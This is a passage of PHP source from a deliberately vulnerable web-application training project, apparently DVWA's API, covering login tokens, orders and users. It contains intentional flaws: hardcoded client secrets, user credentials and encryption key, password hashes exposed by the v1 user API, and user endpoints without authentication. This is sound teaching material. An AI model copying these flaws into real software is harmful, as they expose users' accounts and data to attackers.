OK';\n\t\t\t\t$response['body'] = json_encode (array (\"token\" => Login::create_token()));\n\t\t\t} else {\n\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t\t$response['body'] = json_encode (array (\"status\" => \"Invalid credentials\"));\n\t\t\t}\n\t\t} else {\n\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t$response['body'] = json_encode (array (\"status\" => \"Missing credentials\"));\n\t\t}\n\t\treturn $response;\n\t}\n\n\t# This is an attempt at an OAUTH2 client password authentication flow\n\tprivate function login() {\n\t\t# Default fail, just in case.\n\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t$response['body'] = json_encode (array (\"status\" => \"Authentication failed\"));\n\n\t\tif (array_key_exists (\"PHP_AUTH_USER\", $_SERVER) && \n\t\t\tarray_key_exists (\"PHP_AUTH_PW\", $_SERVER)) {\n\t\t\t$client_id = $_SERVER['PHP_AUTH_USER'];\n\t\t\t$client_secret = $_SERVER['PHP_AUTH_PW'];\n\n\t\t\t# App auth check\n\t\t\tif ($client_id == \"1471.dvwa.digi.ninja\" && $client_secret == \"ABigLongSecret\") {\n\n\t\t\t\tif (array_key_exists (\"grant_type\", $_POST)) {\n\t\t\t\t\tswitch ($_POST['grant_type']) {\n\t\t\t\t\t\tcase \"password\":\n\t\t\t\t\t\t\tif (array_key_exists (\"username\", $_POST) && \n\t\t\t\t\t\t\t\tarray_key_exists (\"password\", $_POST)) {\n\t\t\t\t\t\t\t\t$username = $_POST['username'];\n\t\t\t\t\t\t\t\t$password = $_POST['password'];\n\n\t\t\t\t\t\t\t\tif ($username == \"mrbennett\" && $password == \"becareful\") {\n\t\t\t\t\t\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t\t\t\t\t\t\t\t$response['body'] = Login::create_token();\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t\t\t\t\t\t\t$response['body'] = json_encode (array (\"status\" => \"Invalid user credentials\"));\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t\t\t\t\t\t$response['body'] = json_encode (array (\"status\" => \"Missing user credentials\"));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"refresh_token\":\n\t\t\t\t\t\t\tif (array_key_exists (\"refresh_token\", $_POST)) {\n\t\t\t\t\t\t\t\t$refresh_token = $_POST['refresh_token'];\n\n\t\t\t\t\t\t\t\t# Because this is sent in a POST body, any + characters\n\t\t\t\t\t\t\t\t# get replaced by a space when the URL decode happens. This\n\t\t\t\t\t\t\t\t# puts them back to plus characters.\n\t\t\t\t\t\t\t\t$ref = str_replace (\" \", \"+\", $refresh_token);\n\n\t\t\t\t\t\t\t\tif (Login::check_refresh_token($ref)) {\n\t\t\t\t\t\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t\t\t\t\t\t\t\t$response['body'] = Login::create_token();\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t\t\t\t\t\t\t$response['body'] = json_encode (array (\"status\" => \"Invalid refresh token\"));\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t\t\t\t\t\t$response['body'] = json_encode (array (\"status\" => \"Missing refresh token\"));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t\t\t\t\t$response['body'] = json_encode (array (\"status\" => \"Unknown grant type\"));\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t\t\t$response['body'] = json_encode (array (\"status\" => \"Missing grant type\"));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t\t$response['body'] = json_encode (array (\"status\" => \"Invalid clientid/clientsecret credentials\"));\n\t\t\t}\n\t\t} else {\n\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t$response['body'] = json_encode (array (\"status\" => \"Missing clientid/clientsecret credentials\"));\n\t\t}\n\n\t\treturn $response;\n\t}\n\n\tprivate function refresh() {\n\t/*\n    echo \"<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>\";\n    echo \"<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>\";\n\t*/\n\t\t$ret = Helpers::check_content_type();\n\t\tif ($ret !== true) {\n\t\t\treturn $ret;\n\t\t}\n\n\t\t$input = (array) json_decode(file_get_contents('php://input'), TRUE);\n\t\tif (array_key_exists (\"refresh_token\", $input)) {\n\t\t\tif (array_key_exists (\"grant_type\", $input)) {\n\t\t\t\t$token = $input['token'];\n\t\t\t\tif (Login::check_access_token($token)) {\n\t\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t\t\t\t$response['body'] = json_encode (array (\"token\" => \"Valid\"));\n\t\t\t\t} else {\n\t\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t\t\t$response['body'] = json_encode (array (\"status\" => \"Invalid\"));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t\t$response['body'] = json_encode (array (\"status\" => \"Missing token\"));\n\t\t\t}\n\t\t} else {\n\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t$response['body'] = json_encode (array (\"status\" => \"Missing token\"));\n\t\t}\n\t\treturn $response;\n\t}\n\n    #[OAT\\Post(\n\t\ttags: [\"login\"],\n        path: '/vulnerabilities/api/v2/login/check_token',\n        operationId: 'check_token',\n\t\tdescription: 'Check a token is valid.',\n        parameters: [\n                new OAT\\RequestBody (\n\t\t\t\t\tdescription: 'The token to test.',\n                    content: new OAT\\MediaType(\n                        mediaType: 'application/json',\n                        schema: new OAT\\Schema(ref: Token::class)\n                    )\n                ),\n\n        ],\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n            ),\n            new OAT\\Response(\n                response: 401,\n                description: 'Token is invalid.',\n            ),\n        ]\n    )   \n    ]\n\t\n\tprivate function check_token() {\n\t\t$ret = Helpers::check_content_type();\n\t\tif ($ret !== true) {\n\t\t\treturn $ret;\n\t\t}\n\n\t\t$input = (array) json_decode(file_get_contents('php://input'), TRUE);\n\t\tif (array_key_exists (\"token\", $input)) {\n\t\t\t$token = $input['token'];\n\t\t\tif (Login::check_access_token($token)) {\n\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t\t\t$response['body'] = json_encode (array (\"token\" => \"Valid\"));\n\t\t\t} else {\n\t\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t\t$response['body'] = json_encode (array (\"status\" => \"Invalid\"));\n\t\t\t}\n\t\t} else {\n\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t$response['body'] = json_encode (array (\"status\" => \"Missing token\"));\n\t\t}\n\t\treturn $response;\n\t}\n\n\tpublic function processRequest() {\n\t\tswitch ($this->requestMethod) {\n\t\t\tcase 'POST':\n\t\t\t\tswitch ($this->command) {\n\t\t\t\t\tcase \"refresh\":\n\t\t\t\t\t\t$response = $this->login();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"login\":\n\t\t\t\t\t\t$response = $this->login();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"check_token\":\n\t\t\t\t\t\t$response = $this->check_token();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t$gc = new GenericController(\"notFound\");\n\t\t\t\t\t\t$gc->processRequest();\n\t\t\t\t\t\texit();\n\t\t\t\t};\n\t\t\t\tbreak;\n\t\t\tcase 'OPTIONS':\n\t\t\t\t$gc = new GenericController(\"options\");\n\t\t\t\t$gc->processRequest();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$gc = new GenericController(\"notSupported\");\n\t\t\t\t$gc->processRequest();\n\t\t\t\tbreak;\n\t\t}\n\t\theader($response['status_code_header']);\n\t\tif ($response['body']) {\n\t\t\techo $response['body'];\n\t\t}\n\t}\n}\n\n#[OAT\\Schema(required: ['username', 'password'])]\nfinal class Credentials {\n    #[OAT\\Property(example: \"user\")]\n    public string $username;\n    #[OAT\\Property(example: \"password\")]\n    public string $password;\n}\n\n/*\nMoving this to its own thing\n#[OAT\\Schema(required: ['token'])]\nfinal class Token {\n    #[OAT\\Property(example: \"11111\")]\n    public string $token;\n}\n*/\n"
  },
  {
    "path": "vulnerabilities/api/src/Order.php",
    "content": "<?php declare(strict_types=1);\n\nnamespace Src;\n\nuse OpenApi\\Attributes as OAT;\n\n/*\n#[OA\\Schema()]\nenum UserLevel {\n    case ADMIN;\n    case USER;\n}\n*/\n#[OAT\\Schema()]\nfinal class Order\n{\n    #[OAT\\Property(type: 'integer', example: 1)]\n    public int $id;\n\n    #[OAT\\Property(type: \"string\", example: \"Tony Hart\")]\n    public string $name;\n\n    #[OAT\\Property(type: \"string\", example: \"BBC Television Centre, London W3 6XZ\")]\n    public string $address;\n\n    #[OAT\\Property(type: \"string\", example: \"1 * brush, 2 * paints, 1 * easel\")]\n    public string $items;\n\n    #[OAT\\Property(type: 'integer', example: 1)]\n    public int $status;\n\n\tfunction __construct ($id, $name, $address, $items, $status) {\n\t\tif (is_null ($id)) {\n\t\t\t$id = mt_rand(50,100);\n\t\t}\n\t\t$this->id = $id;\n\t\t$this->name = $name;\n\t\t$this->address = $address;\n\t\t$this->items = $items;\n\t\t$this->status = $status;\n\t}\n\n\tpublic function toArray($version) {\n\t\t$a = array (\n\t\t\t\"id\" => $this->id,\n\t\t\t\"name\" => $this->name,\n\t\t\t\"address\" => $this->address,\n\t\t\t\"items\" => $this->items,\n\t\t\t\"status\" => $this->status,\n\t\t);\n\n\t\treturn $a;\n\t}\n}\n\n#[OAT\\Schema(required: ['level', 'name'])]\nfinal class OrderAdd\n{\n    #[OAT\\Property(example: \"fred\")]\n    public string $name;\n\n    #[OAT\\Property(example: \"1 High Street, Atown\")]\n    public string $address;\n\n    #[OAT\\Property(example: \"2 * brushes\")]\n    public string $items;\n}\n\n#[OAT\\Schema()]\nfinal class OrderUpdate\n{\n    #[OAT\\Property(example: \"fred\")]\n    public string $name;\n\n    #[OAT\\Property(example: \"1 High Street, Atown\")]\n    public string $address;\n\n    #[OAT\\Property(example: \"2 * brushes\")]\n    public string $items;\n}\n"
  },
  {
    "path": "vulnerabilities/api/src/OrderController.php",
    "content": "<?php\n\nnamespace Src;\n\nuse OpenApi\\Attributes as OAT;\n\nclass OrderController\n{\n\tprivate $data = array ();\n\tprivate $orderId = null;\n\tprivate $requestMethod = \"GET\";\n\n\tpublic function __construct($requestMethod, $version, $orderId) {\n\t\t$this->data = array (\n\t\t\t1 => new Order (1, \"Tony\", \"BBC Television Centre, London W3 6XZ\", \"5 * brushes\", 0),\n\t\t\t2 => new Order (2, \"Morph\", \"Wooden Box, Corner of the table, The Studio\", \"plasticine\", 0),\n\t\t\t3 => new Order (3, \"Nailbrush\", \"BBC Television Centre, London W3 6XZ\", \"Spare bristles\", 1),\n\t\t);\n\t\t$this->requestMethod = $requestMethod;\n\t\t$this->orderId = $orderId;\n\t\t$this->version = $version;\n\t}\n\n\tprivate function checkToken() {\n\t\tif (array_key_exists (\"HTTP_AUTHORIZATION\", $_SERVER)) {\n\t\t\t$header = $_SERVER['HTTP_AUTHORIZATION'];\n\t\t\t$bits = explode (\" \", $header);\n\t\t\tif (count ($bits) == 2) {\n\t\t\t\tif (strtolower($bits[0]) == \"bearer\") {\n\t\t\t\t\treturn (Login::check_access_token($bits[1]));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tprivate function validateAdd($input)\n\t{\n\t\tif (! isset($input['name'])) {\n\t\t\treturn false;\n\t\t}\n\t\tif (! isset($input['address'])) {\n\t\t\treturn false;\n\t\t}\n\t\tif (! isset($input['items'])) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\n\tprivate function validateUpdate($input)\n\t{\n\t\tif (isset($input['name']) || isset($input['address']) || isset ($input['items'])) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n\t/*\n\ttype can be \"http\", \"apiKey\", \"oauth2\", \"openIdConnect\" \n\t* https://zircote.github.io/swagger-php/guide/cookbook.html#referencing-a-security-scheme\n\t*/\n\n\t#[OAT\\SecurityScheme(\n\t\tname :\"authorization\",\n\t\tsecurityScheme :\"http\",\n\t\ttype :\"http\",\n\t)\n\t]\n\n    #[OAT\\Get(\n\t\ttags: [\"order\"],\n        path: '/vulnerabilities/api/v2/order/{id}',\n        operationId: 'getOrderByID',\n\t\tdescription: 'Get a order by ID.',\n\t\tsecurity: [ \"basicAuth\" ],\n        parameters: [\n            new OAT\\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\\Schema(type: 'integer')),\n        ],\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n                content: new OAT\\JsonContent (ref: '#/components/schemas/Order'),\n\n            ),\n            new OAT\\Response(\n                response: 404,\n                description: 'Order not found.',\n            ),\n        ]\n    )   \n    ]  \n\t\n\tprivate function getOrder($id)\n\t{\n\t\tif (!$this->checkToken()) {\n\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t$response['body'] = json_encode (array (\"status\" => \"Invalid or missing token\"));\n\t\t\treturn $response;\n\t\t}\n\n\t\tif (!array_key_exists ($id, $this->data)) {\n\t\t\t$gc = new GenericController(\"notFound\");\n\t\t\t$gc->processRequest();\n\t\t\texit();\n\t\t}\n\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t$response['body'] = json_encode ($this->data[$id]->toArray($this->version));\n\t\treturn $response;\n\t}\t\n\n    #[OAT\\Get(\n\t\ttags: [\"order\"],\n        path: '/vulnerabilities/api/v2/order/',\n        operationId: 'getOrders',\n\t\tdescription: 'Get all orders.',\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n                content: new OAT\\JsonContent(\n                    type: 'array',\n                    items: new OAT\\Items(ref: '#/components/schemas/Order')\n                )\n            ),\n        ]\n    )   \n    ]  \n\n\tprivate function getAllOrders() {\n\t\tif (!$this->checkToken()) {\n\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t$response['body'] = json_encode (array (\"status\" => \"Invalid or missing token\"));\n\t\t\treturn $response;\n\t\t}\n\n\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t$all = array();\n\t\tforeach ($this->data as $order) {\n\t\t\t$all[] = $order->toArray($this->version);\n\t\t}\n\t\t$response['body'] = json_encode($all);\n\t\treturn $response;\n\t}\n\n    #[OAT\\Post(\n\t\ttags: [\"order\"],\n        path: '/vulnerabilities/api/v2/order/',\n        operationId: 'addOrder',\n\t\tdescription: 'Create a new order.',\n        parameters: [\n                new OAT\\RequestBody (\n\t\t\t\t\tdescription: 'Order data.',\n                    content: new OAT\\MediaType(\n                        mediaType: 'application/json',\n                        schema: new OAT\\Schema(ref: OrderAdd::class)\n                    )\n                ),\n\n        ],\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n                content: new OAT\\JsonContent (ref: '#/components/schemas/Order'),\n            ),\n            new OAT\\Response(\n                response: 422,\n                description: 'Invalid order object provided',\n            ),\n        ]\n    )   \n    ]  \n\n\tprivate function addOrder()\n\t{\n\t\tif (!$this->checkToken()) {\n\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t$response['body'] = json_encode (array (\"status\" => \"Invalid or missing token\"));\n\t\t\treturn $response;\n\t\t}\n\n\t\t$input = (array) json_decode(file_get_contents('php://input'), TRUE);\n\t\tif (! $this->validateAdd($input)) {\n\t\t\t$gc = new GenericController(\"unprocessable\");\n\t\t\t$gc->processRequest();\n\t\t\texit();\n\t\t}\n\t\t$order = new Order(null, $input['name'], $input['address'], $input['items'], 0);\n\t\t$this->data[] = $order;\n\t\t$response['status_code_header'] = 'HTTP/1.1 201 Created';\n\t\t$response['body'] = json_encode($order->toArray($this->version));\n\t\treturn $response;\n\t}\n\n    #[OAT\\Put(\n\t\ttags: [\"order\"],\n        path: '/vulnerabilities/api/v2/order/{id}',\n        operationId: 'updateOrder',\n\t\tdescription: 'Update an order by ID.',\n        parameters: [\n            new OAT\\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\\Schema(type: 'integer')),\n                new OAT\\RequestBody (\n\t\t\t\t\tdescription: 'New order data.',\n                    content: new OAT\\MediaType(\n                        mediaType: 'application/json',\n                        schema: new OAT\\Schema(ref: OrderUpdate::class)\n                    )\n                ),\n\n        ],\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n                content: new OAT\\JsonContent (ref: '#/components/schemas/Order'),\n            ),\n            new OAT\\Response(\n                response: 404,\n                description: 'Order not found',\n            ),\n            new OAT\\Response(\n                response: 422,\n                description: 'Invalid order object provided',\n            ),\n        ]\n    )   \n    ]  \n\t\n\tprivate function updateOrder($id)\n\t{\n\t\tif (!$this->checkToken()) {\n\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t$response['body'] = json_encode (array (\"status\" => \"Invalid or missing token\"));\n\t\t\treturn $response;\n\t\t}\n\n\t\tif (!array_key_exists ($id, $this->data)) {\n\t\t\t$gc = new GenericController(\"notFound\");\n\t\t\t$gc->processRequest();\n\t\t\texit();\n\t\t}\n\t\t$input = (array) json_decode(file_get_contents('php://input'), TRUE);\n\t\tif (! $this->validateUpdate($input)) {\n\t\t\t$gc = new GenericController(\"unprocessable\");\n\t\t\t$gc->processRequest();\n\t\t\texit();\n\t\t}\n\t\tif (array_key_exists (\"name\", $input)) {\n\t\t\t$this->data[$id]->name = $input['name'];\n\t\t}\n\t\tif (array_key_exists (\"address\", $input)) {\n\t\t\t$this->data[$id]->address = $input['address'];\n\t\t}\n\t\tif (array_key_exists (\"items\", $input)) {\n\t\t\t$this->data[$id]->items = $input['items'];\n\t\t}\n\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t$response['body'] = json_encode ($this->data[$id]->toArray($this->version));\n\t\treturn $response;\n\t}\t\n\n    #[OAT\\Delete(\n\t\ttags: [\"order\"],\n        path: '/vulnerabilities/api/v2/order/{id}',\n        operationId: 'deleteOrderById',\n\t\tdescription: 'Delete order by ID.',\n        parameters: [\n            new OAT\\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\\Schema(type: 'integer')),\n        ],\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n            ),\n            new OAT\\Response(\n                response: 404,\n                description: 'Order not found',\n            ),\n        ]\n    )   \n    ]  \n\t\n\tprivate function deleteOrder($id) {\n\t\tif (!$this->checkToken()) {\n\t\t\t$response['status_code_header'] = 'HTTP/1.1 401 Unauthorized';\n\t\t\t$response['body'] = json_encode (array (\"status\" => \"Invalid or missing token\"));\n\t\t\treturn $response;\n\t\t}\n\n\t\tif (!array_key_exists ($id, $this->data)) {\n\t\t\t$gc = new GenericController(\"notFound\");\n\t\t\t$gc->processRequest();\n\t\t\texit();\n\t\t}\n\t\tunset ($this->data[$id]);\n\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t$response['body'] = null;\n\t\treturn $response;\n\t}\n\n\tpublic function processRequest() {\n\t\tswitch ($this->requestMethod) {\n\t\t\tcase 'GET':\n\t\t\t\tif (isset ($this->orderId) && is_numeric ($this->orderId)) {\n\t\t\t\t\t$response = $this->getOrder($this->orderId);\n\t\t\t\t} else {\n\t\t\t\t\t$response = $this->getAllOrders();\n\t\t\t\t};\n\t\t\t\tbreak;\n\t\t\tcase 'POST':\n\t\t\t\t$response = $this->addOrder();\n\t\t\t\tbreak;\n\t\t\tcase 'PUT':\n\t\t\t\t$response = $this->updateOrder($this->orderId);\n\t\t\t\tbreak;\n\t\t\tcase 'DELETE':\n\t\t\t\t$response = $this->deleteOrder($this->orderId);\n\t\t\t\tbreak;\n\t\t\tcase 'OPTIONS':\n\t\t\t\t$gc = new GenericController(\"options\");\n\t\t\t\t$gc->processRequest();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$gc = new GenericController(\"notSupported\");\n\t\t\t\t$gc->processRequest();\n\t\t\t\texit();\n\t\t\t\tbreak;\n\t\t}\n\t\theader($response['status_code_header']);\n\t\tif ($response['body']) {\n\t\t\techo $response['body'];\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "vulnerabilities/api/src/Token.php",
    "content": "<?php\n\nnamespace Src;\n\nuse OpenApi\\Attributes as OAT;\n\n#[OAT\\Schema(required: ['token'])]\nclass Token {\n\tprivate const ENCRYPTION_CIPHER = \"aes-128-gcm\";\n\tprivate const ENCRYPTION_KEY = \"Paintbrush\";\n\n    # Not sure if this is needed\n    #[OAT\\Property(example: \"11111\")]\n\tpublic string $token;\n\n\tprivate string $secret;\n\tprivate int $expires;\n\n\tpublic function __construct () {\n\t}\n\n\tprivate static function encrypt($cleartext) {\n\t\t$ivlen = openssl_cipher_iv_length(self::ENCRYPTION_CIPHER);\n\t\t$iv = openssl_random_pseudo_bytes($ivlen);\n\t\t$ciphertext = openssl_encrypt($cleartext, self::ENCRYPTION_CIPHER, self::ENCRYPTION_KEY, $options=0, $iv, $tag);\n\t\t$ret = base64_encode ($tag . \":::::\" . $iv . \":::::\" . $ciphertext);\n\t\treturn $ret;\n\t}\n\n\tprivate static function decrypt($ciphertext) {\n\t\t$str = base64_decode ($ciphertext);\n\t\t$bits = explode (\":::::\", $str);\n\t\tif (count ($bits) != 3) {\n\t\t\treturn false;\n\t\t}\n\t\t$value = $bits[2];\n\t\t$iv = $bits[1];\n\t\t$tag = $bits[0];\n\t\t$cleartext = openssl_decrypt($value, self::ENCRYPTION_CIPHER, self::ENCRYPTION_KEY, $options=0, $iv, $tag);\n\t\treturn $cleartext;\n\t}\n\tpublic function create_token($secret, $expires) {\n\t\t$token = self::encrypt (json_encode (array (\n\t\t\t\t\t\t\"secret\" => $secret,\n\t\t\t\t\t\t\"expires\" => $expires,\n\t\t\t\t\t)));\n\t\treturn $token;\n\t}\n\n\tpublic function decrypt_token($token) {\n\t\t$decrypted = self::decrypt($token);\n\n\t\tif ($decrypted === false) {\n\t\t\treturn false;\n\t\t}\n\n\t\t$token = json_decode ($decrypted, true);\n\t\treturn $token;\n\t}\n}\n\n?>\n"
  },
  {
    "path": "vulnerabilities/api/src/User.php",
    "content": "<?php declare(strict_types=1);\n\nnamespace Src;\n\nuse OpenApi\\Attributes as OAT;\n\n/*\n#[OA\\Schema()]\nenum UserLevel {\n    case ADMIN;\n    case USER;\n}\n*/\n#[OAT\\Schema()]\nfinal class User\n{\n    #[OAT\\Property(type: 'integer', example: 1)]\n    public int $id;\n\n    #[OAT\\Property(type: \"string\", example: \"fred\")]\n    public string $name;\n\n    #[OAT\\Property(type: 'integer', example: 1)]\n    public int $level;\n\n\tpublic string $password;\n\n\tfunction __construct ($id, $name, $level, $password) {\n\t\tif (is_null ($id)) {\n\t\t\t$id = mt_rand(50,100);\n\t\t}\n\t\t$this->id = $id;\n\t\t$this->name = $name;\n\t\t$this->level = $level;\n\t\t$this->password = $password;\n\t}\n\n\tpublic function toArray($version) {\n\t\tswitch ($version) {\n\t\t\tcase 1:\n\t\t\t\t$a = array (\n\t\t\t\t\t\"id\" => $this->id,\n\t\t\t\t\t\"name\" => $this->name,\n\t\t\t\t\t\"level\" => $this->level,\n\t\t\t\t\t\"password\" => $this->password,\n\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\tcase 2:\n\t\t\t\t$a = array (\n\t\t\t\t\t\"id\" => $this->id,\n\t\t\t\t\t\"name\" => $this->name,\n\t\t\t\t\t\"level\" => $this->level,\n\t\t\t\t);\n\t\t\t\tbreak;\n\t\t}\n\n\t\treturn $a;\n\t}\n}\n\n#[OAT\\Schema(required: ['level', 'name'])]\nfinal class UserAdd\n{\n    #[OAT\\Property(example: \"fred\")]\n    public string $name;\n\n    #[OAT\\Property(type: 'integer', example: 1)]\n    public string $level;\n}\n\n#[OAT\\Schema(required: ['name'])]\nfinal class UserUpdate\n{\n    #[OAT\\Property(example: \"fred\")]\n    public string $name;\n}\n"
  },
  {
    "path": "vulnerabilities/api/src/UserController.php",
    "content": "<?php\n\nnamespace Src;\n\nuse OpenApi\\Attributes as OAT;\n\n# This is the definition for the whole file.\n#[OAT\\Info(title: \"DVWA API\", version: \"0.1\")]\n#[OAT\\Contact(email: \"robin@digi.ninja\", url: \"https://github.com/digininja/DVWA/\")]\n\n# It would be good if this could be dynamic but the $_SERVER variables\n# aren't available when the Swagger generator scripts run so I can't\n# get the HTTP_HOST value from them. For now I'm hard coding it to make\n# my dev life easier.\n#[OAT\\Server(url: 'http://dvwa.test', description: \"API server\")]\n\n#[OAT\\Tag(name: \"user\", description: \"User operations.\")]\n#[OAT\\Tag(name: \"health\", description: \"Health operations.\")]\n#[OAT\\Tag(name: \"order\", description: \"Order operations.\")]\n#[OAT\\Tag(name: \"login\", description: \"Login operations.\")]\n\nclass UserController\n{\n\tprivate $data = array ();\n\tprivate $userId = null;\n\tprivate $version = null;\n\tprivate $requestMethod = \"GET\";\n\n\tpublic function __construct($requestMethod, $version, $userId) {\n\t\t$this->data = array (\n\t\t\t1 => new User (1, \"tony\", 0, '1c8bfe8f801d79745c4631d09fff36c82aa37fc4cce4fc946683d7b336b63032'),\n\t\t\t2 => new User (2, \"morph\", 1, 'e5326ba4359f77c2623244acb04f6ac35c4dfca330ebcccdf9b734e5b1df90a8'),\n\t\t\t3 => new User (3, \"chas\", 1, 'a89237fc1f9dd8d424d8b8b98b890dbc4a817bfde59af17c39debcc4a14c21de'),\n\t\t);\n\t\t$this->requestMethod = $requestMethod;\n\t\t$this->userId = $userId;\n\t\t$this->version = $version;\n\t}\n\n\tprivate function validateAdd($input)\n\t{\n\t\tif (! isset($input['name'])) {\n\t\t\treturn false;\n\t\t}\n\t\tif (! isset($input['level'])) {\n\t\t\treturn false;\n\t\t}\n\t\tif (!is_numeric ($input['level'])) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\n\tprivate function validateUpdate($input)\n\t{\n\t\tif (! isset($input['name'])) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}\n\n    #[OAT\\Get(\n\t\ttags: [\"user\"],\n        path: '/vulnerabilities/api/v2/user/{id}',\n        operationId: 'getUserByID',\n\t\tdescription: 'Get a user by ID.',\n        parameters: [\n            new OAT\\Parameter(name: 'id', in: 'path', required: true, schema: new OAT\\Schema(type: 'integer')),\n        ],\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n                content: new OAT\\JsonContent (ref: '#/components/schemas/User'),\n\n            ),\n            new OAT\\Response(\n                response: 404,\n                description: 'User not found.',\n            ),\n        ]\n    )   \n    ]  \n\t\n\tprivate function getUser($id)\n\t{\n\t\tif (!array_key_exists ($id, $this->data)) {\n\t\t\t$gc = new GenericController(\"notFound\");\n\t\t\t$gc->processRequest();\n\t\t\texit();\n\t\t}\n\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t$response['body'] = json_encode ($this->data[$id]->toArray($this->version));\n\t\treturn $response;\n\t}\t\n\n    #[OAT\\Get(\n\t\ttags: [\"user\"],\n        path: '/vulnerabilities/api/v2/user/',\n        operationId: 'getUsers',\n\t\tdescription: 'Get all users.',\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n                content: new OAT\\JsonContent(\n                    type: 'array',\n                    items: new OAT\\Items(ref: '#/components/schemas/User')\n                )\n            ),\n        ]\n    )   \n    ]  \n\n\tprivate function getAllUsers() {\n\t\t$response['status_code_header'] = 'HTTP/1.1 200 OK';\n\t\t$all = array();\n\t\tforeach ($this->data as $user) {\n\t\t\t$all[] = $user->toArray($this->version);\n\t\t}\n\t\t$response['body'] = json_encode($all);\n\t\treturn $response;\n\t}\n\n    #[OAT\\Post(\n\t\ttags: [\"user\"],\n        path: '/vulnerabilities/api/v2/user/',\n        operationId: 'addUser',\n\t\tdescription: 'Create a new user.',\n        parameters: [\n                new OAT\\RequestBody (\n\t\t\t\t\tdescription: 'User data.',\n                    content: new OAT\\MediaType(\n                        mediaType: 'application/json',\n                        schema: new OAT\\Schema(ref: UserAdd::class)\n                    )\n                ),\n\n        ],\n        responses: [\n            new OAT\\Response(\n                response: 200,\n                description: 'Successful operation.',\n                content: new OAT\\JsonContent (ref: '#/components/schemas/User'),\n            ),\n            new OAT\\Response(\n                response: 422,\n                description: 'Invalid user object provided',\n            ),\n        ]\n    )   \n    ]  \n\n\tprivate function addUser()\n\t{\n\t\t$ret = Helpers::check_content_type();\n\t\tif ($ret !== true) {\n\t\t\treturn $ret;\n\t\t}\n\n\t\t$input = (array) json_decode(file_get_contents('php://input'), TRUE);\n\t\tif (! 